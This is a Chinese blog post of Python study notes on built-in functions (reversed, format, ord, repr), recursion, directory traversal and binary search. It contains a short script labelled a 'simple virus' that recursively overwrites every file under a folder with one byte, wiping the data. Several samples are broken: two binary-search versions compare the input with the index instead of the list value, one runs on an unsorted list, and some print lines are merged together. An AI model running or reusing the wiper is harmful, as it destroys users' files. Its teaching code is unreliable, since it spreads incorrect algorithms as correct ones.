day 14 内置函数二

1.昨日的补充
reversed    翻转, 将一个序列翻转,返回翻转序列的迭代器
lst = ["河南话", "四川话", "东北", "山东", "上海"]
 
n = reversed(lst)
print(list(n))
判断是不是回文
huiwen = "上海自来水来自海上"
 
# s = huiwen[::-1]   #切片的翻转
s1 = reversed(huiwen)   ###返回的是迭代器
n =""
for i in s1:
    n += i
print(n)
slice  切片  ###麻烦
lst = ["河南话", "四川话", "东北", "山东", "上海"]
s = slice(3, 5)
print(lst[s])
format()  与具体数据相关,用于计算各种小数,精算等
#格式化输出
s = "我叫{name}, 我来自{home}, 我喜欢干{hobby}".format(name="周杰伦", home="台湾", hobby="唱歌")
print(s)
# 字符串 和center 相同   对齐
 
# s = "门神"
# s1 = s.center(20)
# print(s1)
 
print(format('test', '<20')) # 左对⻬ 
print(format('test', '>20')) # 右对⻬
 print(format('test', '^20')) # 居中
 # 数值 
print(format(3, 'b')) # ⼆进制 
print(format(97, 'c')) # 转换成unicode字符 
print(format(11, 'd')) # ⼗进制 
print(format(11, 'o')) # ⼋进制 
print(format(11, 'x')) # ⼗六进制(⼩写字⺟) 
print(format(11, 'X')) # ⼗六进制(⼤写字⺟) 
print(format(11, 'n')) # 和d⼀样 
print(format(11)) # 和d⼀样 
# 浮点数 (重点,主要运用在金融计算)
print(format(123456789, 'e')) # 科学计数法. 默认保留6位⼩数 
print(format(123456789, '0.2e')) # 科学计数法. 保留2位⼩数(⼩写) print(format(123456789, '0.2E')) # 科学计数法. 保留2位⼩数(⼤写) print(format(1.23456789, 'f')) # ⼩数点计数法. 保留6位⼩数 
print(format(1.23456789, '0.2f')) # ⼩数点计数法. 保留2位⼩数 print(format(1.23456789, '0.10f')) # ⼩数点计数法. 保留10位⼩数 print(format(1.23456789e+10000, 'F')) # ⼩数点计数法.
ord() 输入字符找带字符编码的位置
# 找到对应字符的编码位置
print(ord('a')) 
print(ord('中'))
chr() 输入位置数字找出对应的字符
# 找到对应编码位置的字符 
print(chr(97)) 
print(chr(20013))
ascii() 是ascii码中的返回该值 不是就返回\u...
# 在ascii中就返回这个值. 如果不在就返回\u... 
print(ascii('a')) 
print(ascii('好'))
转义字符
\n 换行
\t tab 制表符
\r 回车
\" 双引号
\' 单引号
\\ ---> \
print('你好, 我叫周杰伦.我来自\\n台湾. 我老婆叫昆凌')
repr() 返回⼀个对象的string形式, 还原字符串最官方的效果
r 原封不动的显示字符串
# repr 就是原封不动的输出, 引号和转义字符都不起作⽤ 
print(repr('⼤家好,\n \t我叫周杰伦')) 
print('⼤家好我叫周杰伦') 
# %r 原封不动的写出来 
name = 'taibai' 
print('我叫%r' % name)
str:python的字符串
repr: 所有的字符串
print(repr("你好. \\n我叫\周杰伦"))  # python -> repr() -> cpython c里面. 报错
 
print(r"\n\t范德萨发生\r\b\ffdsaf")  # 原封不动的显示字符串
递归
递归就是函数自己调用自己,递归必须要有入口(参数)和出口(return)
def func():
    print("我是递归")
    func()
树形结构的遍历
import os
 
def func(lujing, n): # "d:/a/"
    lst = os.listdir(lujing) # 打开文件夹. 列出该文件夹内的所有文件名
    for el in lst: # el是文件的名字.  b, c
        # 还原文件路径
        path = os.path.join(lujing, el) # "d:/a/b"
        if os.path.isdir(path): # 判断路径是否是文件夹
            print("..." * n,el) # 显示文件夹的名字
            func(path, n + 1)  # 在来一次  ################
        else:
            print("\t" * n,el) # 显示文件
 
func("d:/a", 0)
简易的病毒
import os
def func(lujing, n): # d:/a/b
    lst = os.listdir(lujing)
    for el in lst: # b, c
        # 路径
        path = os.path.join(lujing, el) # 拼接路径 d:/a/b
        # 判断是文件还是文件夹
        if os.path.isdir(path):
            print("\t" * n, el)
            func(path, n+1)
        else:
            f = open(path, mode="wb")  ##路径写入
            f.write(b'1')    #通过修改字节
            print("\t" * n, el)
 
 
func("d:/a/", 0)
二分法
掐头结尾取中间,规则: 掐头结尾取中间,数据必须是有序序列
查找效率非常高
###通过循环列表跟输入的数字进行比较
lst = [1,3,5,7,12,36,68,79] # 数据集 百万级数据
num = int(input("请输入一个数字:"))
for i in lst:
    if i == num:
        print("这个数存在")
        break
else:
    print("这个数不存在")
二分法查找(需要明白和掌握)
lst = [1,3,5,7,12,36,68,79]
     0 1 2 3  4  5  6 7     #通过索引最左加上最右地板除取中间
num = int(input("请输入一个数字:"))
 
lift = 0
right = len(lst) -1
 
while lift <= right:
    mid = (lift + right) // 2
    if num > mid:
        lift = mid + 1
    elif num < mid:
        right = mid -1
    else:
        print('存在')
        break
else:
    print('不存在')
递归的方法一:  通过索引列表的索引
#递归
def func(n, lst):
    lift = 0
    right = len(lst)
    if lst != []:
        mid = (lift+right) // 2
        if n > lst[mid]:
            func(n, lst[mid+1:])
        elif n < mid:
            func(n, lst[:mid])
        else:
            print("存在")
            return
    else:
        print('不存在')
        return
n = int(input("请输入一个数字:"))
func(n, [1,3,5,7,12,36,68,79])
递归二(需要明白和掌握)
def func(n, lst, left, right): # 递归找到什么是可以变的. 什么是不可以变的
    if left <= right:
        mid = (left + right) // 2
        if n > lst[mid]:
            left = mid + 1
            return func(n, lst, left, right)
        elif n < lst[mid]:
            right = mid - 1
            return func(n, lst, left, right) # 递归如果有返回值. 所有调用递归的地方必须写return
        else:
            print("找到了")
            return mid  # 难点
    else:
        print("找不到")
        return -1
 
n = int(input("请输入你要查找的数:"))
lst = [1,3,55,98,37,41,2,5,1,4]
ret = func(n, lst, 0, len(lst)-1) # 78
print(ret)
最快的查找
lst = [1,3,55,98,37,41,2,5,1,4]
 
new_lst = []
for i in range(99):
    new_lst.append(0)
 
 
for i in lst:    # 1,3,55,98
    new_lst[i] = 1
 
print(new_lst)
 
 
i = int(input('请输入你要找的数据'))
if new_lst[i] == 0: # 1次
    print("不存在")
else:
    print("存在")
 
posted @ 2018-12-13 23:11  杨洪涛  阅读(231)  评论(0编辑  收藏  举报